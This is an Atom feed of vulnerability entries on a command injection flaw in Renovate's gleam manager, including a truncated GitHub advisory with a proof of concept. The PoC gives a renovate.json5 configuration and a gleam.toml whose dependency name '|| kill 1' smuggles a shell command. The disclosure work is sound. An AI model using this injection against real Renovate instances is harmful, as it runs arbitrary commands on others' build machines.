<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T07:09:30.390820+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-76233</id>
    <title>CVE-2026-76233 — Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager</title>
    <updated>2026-10-06T07:09:31.278903+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> renovatebot renovate</p>
<p>Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-76233"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-xjr7-3c3g-m763</id>
    <title>GHSA-xjr7-3c3g-m763 — Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file</title>
    <updated>2026-10-06T07:09:31.279046+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: renovate</p>
<p>### Summary
The user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.</p>
<p>### Details
Adversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.
This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.</p>
<p>### PoC
1. Create a git repo with the following content:</p>
<p>`renovate.json5`:</p>
<p>```json5
{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["gleam"],
      // Trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}</p>
<p>```</p>
<p>`gleam.toml`:</p>
<p>```toml
name = "renovate-aci-2"
version = "0.0.1"</p>
<p>[dependencies]
"|| kill 1" = "0.…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-xjr7-3c3g-m763"/>
  </entry>
</feed>
